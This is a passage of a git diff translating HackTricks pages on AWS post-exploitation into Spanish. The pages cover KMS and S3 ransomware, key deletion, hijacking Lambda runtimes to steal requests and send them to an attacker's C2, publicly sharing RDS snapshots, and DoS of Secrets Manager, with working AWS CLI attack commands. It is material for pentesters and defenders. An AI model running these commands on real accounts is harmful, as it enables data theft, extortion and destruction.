**permites que una cuenta externa (A)** acceda a un **rol** en tu cuenta, probablemente tendrás **0 visibilidad** sobre **quién puede exactamente acceder a esa cuenta externa**. Este es un problema, porque si otra cuenta externa (B) puede acceder a la cuenta externa (A), es posible que **B también pueda acceder a tu cuenta**. -Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**. +Por lo tanto, al permitir que una cuenta externa acceda a un rol en tu cuenta, es posible especificar un `ExternalId`. Esta es una cadena "secreta" que la cuenta externa (A) **necesita especificar** para **asumir el rol en tu organización**. Como la **cuenta externa B no conocerá esta cadena**, incluso si tiene acceso a A, **no podrá acceder a tu rol**.
-However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**. - -Example: +Sin embargo, ten en cuenta que este `ExternalId` "secreto" **no es un secreto**, cualquiera que pueda **leer la política de asunción de rol de IAM podrá verlo**. Pero mientras la cuenta externa A lo conozca, pero la cuenta externa **B no lo conozca**, **evita que B abuse de A para acceder a tu rol**. +Ejemplo: ```json { - "Version": "2012-10-17", - "Statement": { - "Effect": "Allow", - "Principal": { - "AWS": "Example Corp's AWS Account ID" - }, - "Action": "sts:AssumeRole", - "Condition": { - "StringEquals": { - "sts:ExternalId": "12345" - } - } - } +"Version": "2012-10-17", +"Statement": { +"Effect": "Allow", +"Principal": { +"AWS": "Example Corp's AWS Account ID" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "12345" +} +} +} } ``` - > [!WARNING] -> For an attacker to exploit a confused deputy he will need to find somehow if principals of the current account can impersonate roles in other accounts. +> Para que un atacante explote un deputy confundido, necesitará averiguar de alguna manera si los principales de la cuenta actual pueden suplantar roles en otras cuentas. -### Unexpected Trusts - -#### Wildcard as principal +### Confianzas inesperadas +#### Comodín como principal ```json { - "Action": "sts:AssumeRole", - "Effect": "Allow", - "Principal": { "AWS": "*" } +"Action": "sts:AssumeRole", +"Effect": "Allow", +"Principal": { "AWS": "*" } } ``` +Esta política **permite a todos los AWS** asumir el rol. -This policy **allows all AWS** to assume the role. - -#### Service as principal - +#### Servicio como principal ```json { - "Action": "lambda:InvokeFunction", - "Effect": "Allow", - "Principal": { "Service": "apigateway.amazonaws.com" }, - "Resource": "arn:aws:lambda:000000000000:function:foo" +"Action": "lambda:InvokeFunction", +"Effect": "Allow", +"Principal": { "Service": "apigateway.amazonaws.com" }, +"Resource": "arn:aws:lambda:000000000000:function:foo" } ``` +Esta política **permite a cualquier cuenta** configurar su apigateway para llamar a esta Lambda. -This policy **allows any account** to configure their apigateway to call this Lambda. - -#### S3 as principal - +#### S3 como principal ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, - "StringEquals": { - "aws:SourceAccount": "123456789012" - } +"StringEquals": { +"aws:SourceAccount": "123456789012" +} } ``` +Si un bucket de S3 se da como principal, debido a que los buckets de S3 no tienen un ID de cuenta, si **eliminaste tu bucket y el atacante lo creó** en su propia cuenta, entonces podrían abusar de esto. -If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **deleted your bucket and the attacker created** it in their own account, then they could abuse this. - -#### Not supported - +#### No soportado ```json { - "Effect": "Allow", - "Principal": { "Service": "cloudtrail.amazonaws.com" }, - "Action": "s3:PutObject", - "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" +"Effect": "Allow", +"Principal": { "Service": "cloudtrail.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` +Una forma común de evitar problemas de Confused Deputy es el uso de una condición con `AWS:SourceArn` para verificar el ARN de origen. Sin embargo, **algunos servicios pueden no soportar eso** (como CloudTrail según algunas fuentes). -A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources). - -## References +## Referencias - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 482af5425..a30387b55 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -1,137 +1,125 @@ -# AWS - KMS Post Exploitation +# AWS - KMS Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## KMS -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} -### Encrypt/Decrypt information +### Cifrar/Descifrar información -`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: +`fileb://` y `file://` son esquemas URI utilizados en comandos de AWS CLI para especificar la ruta a archivos locales: -- `fileb://:` Reads the file in binary mode, commonly used for non-text files. -- `file://:` Reads the file in text mode, typically used for plain text files, scripts, or JSON that doesn't have special encoding requirements. +- `fileb://:` Lee el archivo en modo binario, comúnmente utilizado para archivos no de texto. +- `file://:` Lee el archivo en modo de texto, típicamente utilizado para archivos de texto plano, scripts o JSON que no tienen requisitos de codificación especiales. > [!TIP] -> Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://) - -- Using a **symmetric** key +> Ten en cuenta que si deseas descifrar algunos datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://) +- Usando una **clave** simétrica ```bash # Encrypt data aws kms encrypt \ - --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ - --plaintext fileb:///tmp/hello.txt \ - --output text \ - --query CiphertextBlob | base64 \ - --decode > ExampleEncryptedFile +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ - --ciphertext-blob fileb://ExampleEncryptedFile \ - --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ - --output text \ - --query Plaintext | base64 \ - --decode +--ciphertext-blob fileb://ExampleEncryptedFile \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--output text \ +--query Plaintext | base64 \ +--decode ``` - -- Using a **asymmetric** key: - +- Usando una **clave** **asimétrica**: ```bash # Encrypt data aws kms encrypt \ - --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ - --encryption-algorithm RSAES_OAEP_SHA_256 \ - --plaintext fileb:///tmp/hello.txt \ - --output text \ - --query CiphertextBlob | base64 \ - --decode > ExampleEncryptedFile +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ - --ciphertext-blob fileb://ExampleEncryptedFile \ - --encryption-algorithm RSAES_OAEP_SHA_256 \ - --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ - --output text \ - --query Plaintext | base64 \ - --decode +--ciphertext-blob fileb://ExampleEncryptedFile \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--output text \ +--query Plaintext | base64 \ +--decode ``` - ### KMS Ransomware -An attacker with privileged access over KMS could modify the KMS policy of keys and **grant his account access over them**, removing the access granted to the legit account. +Un atacante con acceso privilegiado sobre KMS podría modificar la política de KMS de las claves y **otorgar acceso a su cuenta sobre ellas**, eliminando el acceso otorgado a la cuenta legítima. -Then, the legit account users won't be able to access any informatcion of any service that has been encrypted with those keys, creating an easy but effective ransomware over the account. +Entonces, los usuarios de la cuenta legítima no podrán acceder a ninguna información de ningún servicio que haya sido cifrado con esas claves, creando un ransomware fácil pero efectivo sobre la cuenta. > [!WARNING] -> Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**. - -> Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI). +> Tenga en cuenta que **las claves administradas por AWS no se ven afectadas** por este ataque, solo **las claves administradas por el cliente**. +> También tenga en cuenta la necesidad de usar el parámetro **`--bypass-policy-lockout-safety-check`** (la falta de esta opción en la consola web hace que este ataque solo sea posible desde la CLI). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ - --policy-name default \ - --policy file:///tmp/policy.yaml \ - --bypass-policy-lockout-safety-check +--policy-name default \ +--policy file:///tmp/policy.yaml \ +--bypass-policy-lockout-safety-check { - "Id": "key-consolepolicy-3", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "kms:*", - "Resource": "*" - } - ] +"Id": "key-consolepolicy-3", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +} +] } ``` - > [!CAUTION] -> Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **give the access back to original account, you won't be able**. +> Tenga en cuenta que si cambia esa política y solo da acceso a una cuenta externa, y luego desde esta cuenta externa intenta establecer una nueva política para **devolver el acceso a la cuenta original, no podrá**.
-### Generic KMS Ransomware +### Ransomware KMS Genérico -#### Global KMS Ransomware +#### Ransomware KMS Global -There is another way to perform a global KMS Ransomware, which would involve the following steps: +Hay otra forma de realizar un ransomware KMS global, que implicaría los siguientes pasos: -- Create a new **key with a key material** imported by the attacker -- **Re-encrypt older data** encrypted with the previous version with the new one. -- **Delete the KMS key** -- Now only the attacker, who has the original key material could be able to decrypt the encrypted data - -### Destroy keys +- Crear una nueva **clave con un material de clave** importado por el atacante +- **Reencriptar datos antiguos** encriptados con la versión anterior con la nueva. +- **Eliminar la clave KMS** +- Ahora solo el atacante, que tiene el material de clave original, podría ser capaz de desencriptar los datos encriptados +### Destruir claves ```bash # Destoy they key material previously imported making the key useless aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ - --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ - --pending-window-in-days 7 +--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ +--pending-window-in-days 7 ``` - > [!CAUTION] -> Note that AWS now **prevents the previous actions from being performed from a cross account:** +> Tenga en cuenta que AWS ahora **previene que las acciones anteriores se realicen desde una cuenta cruzada:**
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 5f25c205a..5f37b0949 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -1,33 +1,29 @@ -# AWS - Lambda Post Exploitation +# AWS - Lambda Post Explotación {{#include ../../../../banners/hacktricks-training.md}} ## Lambda -For more information check: +Para más información consulta: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Steal Others Lambda URL Requests +### Robar Solicitudes URL de Lambda de Otros -If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them. +Si un atacante logra obtener RCE dentro de un Lambda, podrá robar las solicitudes HTTP de otros usuarios al lambda. Si las solicitudes contienen información sensible (cookies, credenciales...), podrá robárselas. {{#ref}} aws-warm-lambda-persistence.md {{#endref}} -### Steal Others Lambda URL Requests & Extensions Requests +### Robar Solicitudes URL de Lambda de Otros y Solicitudes de Extensiones -Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. +Abusando de Lambda Layers también es posible abusar de extensiones y persistir en el lambda, pero también robar y modificar solicitudes. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index bc93fe53a..66331036b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -1,42 +1,41 @@ -# AWS - Steal Lambda Requests +# AWS - Robar Solicitudes de Lambda {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Flow +## Flujo de Lambda

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

-1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process. -2. The init process listens on port **9001** exposing some interesting endpoints: - - **`/2018-06-01/runtime/invocation/next`** – get the next invocation event - - **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – return the handler response for the invoke - - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – return an execution error -3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**). -4. Finally, **bootstrap.py** sends to init the **response** +1. **Slicer** es un proceso fuera del contenedor que **envía** **invocaciones** al proceso **init**. +2. El proceso init escucha en el puerto **9001** exponiendo algunos puntos finales interesantes: +- **`/2018-06-01/runtime/invocation/next`** – obtener el siguiente evento de invocación +- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – devolver la respuesta del manejador para la invocación +- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – devolver un error de ejecución +3. **bootstrap.py** tiene un bucle que obtiene invocaciones del proceso init y llama al código del usuario para manejarlas (**`/next`**). +4. Finalmente, **bootstrap.py** envía al init la **respuesta** -Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process. +Nota que bootstrap carga el código del usuario como un módulo, por lo que cualquier ejecución de código realizada por el código del usuario está ocurriendo en este proceso. -## Stealing Lambda Requests +## Robando Solicitudes de Lambda -The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process. +El objetivo de este ataque es hacer que el código del usuario ejecute un proceso **`bootstrap.py`** malicioso dentro del proceso **`bootstrap.py`** que maneja la solicitud vulnerable. De esta manera, el proceso **bootstrap malicioso** comenzará a **comunicarse con el proceso init** para manejar las solicitudes mientras que el bootstrap **legítimo** está **atrapado** ejecutando el malicioso, por lo que no pedirá solicitudes al proceso init. -This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could: +Esta es una tarea simple de lograr ya que el código del usuario está siendo ejecutado por el legítimo proceso **`bootstrap.py`**. Así que el atacante podría: -- **Send a fake result of the current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations. - - A request must be sent to **`/${invoke-id}/response`** - - The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). -- Execute a malicious **`boostrap.py`** which will handle the next invocations - - For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual. - - For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation. +- **Enviar un resultado falso de la invocación actual al proceso init**, para que init piense que el proceso bootstrap está esperando más invocaciones. +- Se debe enviar una solicitud a **`/${invoke-id}/response`** +- El invoke-id se puede obtener de la pila del legítimo proceso **`bootstrap.py`** utilizando el módulo python [**inspect**](https://docs.python.org/3/library/inspect.html) (como [se propone aquí](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) o simplemente solicitándolo nuevamente a **`/2018-06-01/runtime/invocation/next`** (como [se propone aquí](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). +- Ejecutar un **`boostrap.py`** malicioso que manejará las siguientes invocaciones. +- Por razones de sigilo, es posible enviar los parámetros de las invocaciones de lambda a un C2 controlado por el atacante y luego manejar las solicitudes como de costumbre. +- Para este ataque, es suficiente obtener el código original de **`bootstrap.py`** del sistema o de [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), agregar el código malicioso y ejecutarlo desde la invocación lambda actual. -### Attack Steps +### Pasos del Ataque -1. Find a **RCE** vulnerability. -2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) -3. **Execute** the malicious bootstrap. - -You can easily perform these actions running: +1. Encontrar una vulnerabilidad de **RCE**. +2. Generar un **bootstrap** **malicioso** (por ejemplo, [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) +3. **Ejecutar** el bootstrap malicioso. +Puedes realizar fácilmente estas acciones ejecutando: ```bash python3 < \ - --db-subnet-group-name \ - --publicly-accessible \ - --vpc-security-group-ids +--db-instance-identifier "new-db-not-malicious" \ +--db-snapshot-identifier \ +--db-subnet-group-name \ +--publicly-accessible \ +--vpc-security-group-ids aws rds modify-db-instance \ - --db-instance-identifier "new-db-not-malicious" \ - --master-user-password 'Llaody2f6.123' \ - --apply-immediately +--db-instance-identifier "new-db-not-malicious" \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately # Connect to the new DB after a few mins ``` - ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -An attacker with these permissions could **create an snapshot of a DB** and make it **publicly** **available**. Then, he could just create in his own account a DB from that snapshot. - -If the attacker **doesn't have the `rds:CreateDBSnapshot`**, he still could make **other** created snapshots **public**. +Un atacante con estos permisos podría **crear un snapshot de una DB** y hacerlo **disponible** **públicamente**. Luego, podría simplemente crear en su propia cuenta una DB a partir de ese snapshot. +Si el atacante **no tiene el `rds:CreateDBSnapshot`**, aún podría hacer que **otros** snapshots creados sean **públicos**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -54,43 +51,32 @@ aws rds create-db-snapshot --db-instance-identifier --d aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"} ``` - ### `rds:DownloadDBLogFilePortion` -An attacker with the `rds:DownloadDBLogFilePortion` permission can **download portions of an RDS instance's log files**. If sensitive data or access credentials are accidentally logged, the attacker could potentially use this information to escalate their privileges or perform unauthorized actions. - +Un atacante con el permiso `rds:DownloadDBLogFilePortion` puede **descargar porciones de los archivos de registro de una instancia de RDS**. Si datos sensibles o credenciales de acceso se registran accidentalmente, el atacante podría potencialmente usar esta información para escalar sus privilegios o realizar acciones no autorizadas. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` - -**Potential Impact**: Access to sensitive information or unauthorized actions using leaked credentials. +**Impacto Potencial**: Acceso a información sensible o acciones no autorizadas utilizando credenciales filtradas. ### `rds:DeleteDBInstance` -An attacker with these permissions can **DoS existing RDS instances**. - +Un atacante con estos permisos puede **DoS instancias RDS existentes**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` - -**Potential impact**: Deletion of existing RDS instances, and potential loss of data. +**Impacto potencial**: Eliminación de instancias RDS existentes y posible pérdida de datos. ### `rds:StartExportTask` > [!NOTE] -> TODO: Test - -An attacker with this permission can **export an RDS instance snapshot to an S3 bucket**. If the attacker has control over the destination S3 bucket, they can potentially access sensitive data within the exported snapshot. +> TODO: Probar +Un atacante con este permiso puede **exportar una instantánea de la instancia RDS a un bucket S3**. Si el atacante tiene control sobre el bucket S3 de destino, puede acceder potencialmente a datos sensibles dentro de la instantánea exportada. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` - -**Potential impact**: Access to sensitive data in the exported snapshot. +**Impacto potencial**: Acceso a datos sensibles en el snapshot exportado. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md index 16cc52f27..37f5e3ea0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md @@ -1,42 +1,38 @@ -# AWS - S3 Post Exploitation +# AWS - S3 Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## S3 -For more information check: +Para más información consulta: {{#ref}} ../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### Sensitive Information +### Información Sensible -Sometimes you will be able to find sensitive information in readable in the buckets. For example, terraform state secrets. +A veces podrás encontrar información sensible legible en los buckets. Por ejemplo, secretos del estado de terraform. -### Pivoting +### Pivotar -Different platforms could be using S3 to store sensitive assets.\ -For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files. +Diferentes plataformas podrían estar utilizando S3 para almacenar activos sensibles.\ +Por ejemplo, **airflow** podría estar almacenando **código** de **DAGs** allí, o **páginas web** podrían ser servidas directamente desde S3. Un atacante con permisos de escritura podría **modificar el código** del bucket para **pivotar** a otras plataformas, o **tomar el control de cuentas** modificando archivos JS. -### S3 Ransomware +### Ransomware en S3 -In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted. +En este escenario, el **atacante crea una clave KMS (Key Management Service) en su propia cuenta de AWS** o en otra cuenta comprometida. Luego hace que esta **clave sea accesible para cualquier persona en el mundo**, permitiendo a cualquier usuario, rol o cuenta de AWS cifrar objetos usando esta clave. Sin embargo, los objetos no pueden ser descifrados. -The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more. +El atacante identifica un **bucket S3 objetivo y obtiene acceso de nivel de escritura** a él utilizando varios métodos. Esto podría deberse a una mala configuración del bucket que lo expone públicamente o a que el atacante obtiene acceso al entorno de AWS. El atacante generalmente apunta a buckets que contienen información sensible como información de identificación personal (PII), información de salud protegida (PHI), registros, copias de seguridad, y más. -To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket. +Para determinar si el bucket puede ser objetivo de ransomware, el atacante verifica su configuración. Esto incluye verificar si **S3 Object Versioning** está habilitado y si **la eliminación de autenticación multifactor (MFA delete) está habilitada**. Si Object Versioning no está habilitado, el atacante puede proceder. Si Object Versioning está habilitado pero MFA delete está deshabilitado, el atacante puede **deshabilitar Object Versioning**. Si tanto Object Versioning como MFA delete están habilitados, se vuelve más difícil para el atacante realizar ransomware en ese bucket específico. -Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key. +Usando la API de AWS, el atacante **reemplaza cada objeto en el bucket con una copia cifrada usando su clave KMS**. Esto cifra efectivamente los datos en el bucket, haciéndolos inaccesibles sin la clave. -To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost. +Para añadir más presión, el atacante programa la eliminación de la clave KMS utilizada en el ataque. Esto le da al objetivo una ventana de 7 días para recuperar sus datos antes de que la clave sea eliminada y los datos se pierdan permanentemente. -Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack. +Finalmente, el atacante podría subir un archivo final, generalmente llamado "ransom-note.txt," que contiene instrucciones para el objetivo sobre cómo recuperar sus archivos. Este archivo se sube sin cifrado, probablemente para captar la atención del objetivo y hacerle consciente del ataque de ransomware. -**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +**Para más información** [**consulta la investigación original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index e59cbbaaa..02f4b072e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -1,53 +1,43 @@ -# AWS - Secrets Manager Post Exploitation +# AWS - Secrets Manager Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## Secrets Manager -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-secrets-manager-enum.md {{#endref}} -### Read Secrets +### Leer Secretos -The **secrets themself are sensitive information**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) to learn how to read them. +Los **secretos en sí son información sensible**, [consulta la página de privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para aprender cómo leerlos. -### DoS Change Secret Value +### DoS Cambiar el Valor del Secreto -Changing the value of the secret you could **DoS all the system that depends on that value.** +Cambiar el valor del secreto podría **DoS todo el sistema que depende de ese valor.** > [!WARNING] -> Note that previous values are also stored, so it's easy to just go back to the previous value. - +> Ten en cuenta que los valores anteriores también se almacenan, por lo que es fácil volver al valor anterior. ```bash # Requires permission secretsmanager:PutSecretValue aws secretsmanager put-secret-value \ - --secret-id MyTestSecret \ - --secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" +--secret-id MyTestSecret \ +--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" ``` - -### DoS Change KMS key - +### DoS Cambiar la clave KMS ```bash aws secretsmanager update-secret \ - --secret-id MyTestSecret \ - --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE +--secret-id MyTestSecret \ +--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE ``` +### DoS Eliminando Secreto -### DoS Deleting Secret - -The minimum number of days to delete a secret are 7 - +El número mínimo de días para eliminar un secreto es 7 ```bash aws secretsmanager delete-secret \ - --secret-id MyTestSecret \ - --recovery-window-in-days 7 +--secret-id MyTestSecret \ +--recovery-window-in-days 7 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index e67a07739..0bbaf0708 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - SES Post Exploitation +# AWS - SES Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## SES -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-ses-enum.md @@ -12,76 +12,56 @@ For more information check: ### `ses:SendEmail` -Send an email. - +Enviar un correo electrónico. ```bash aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json ``` - -Still to test. +Aún por probar. ### `ses:SendRawEmail` -Send an email. - +Enviar un correo electrónico. ```bash aws ses send-raw-email --raw-message file://message.json ``` - -Still to test. +Aún por probar. ### `ses:SendTemplatedEmail` -Send an email based on a template. - +Envía un correo electrónico basado en una 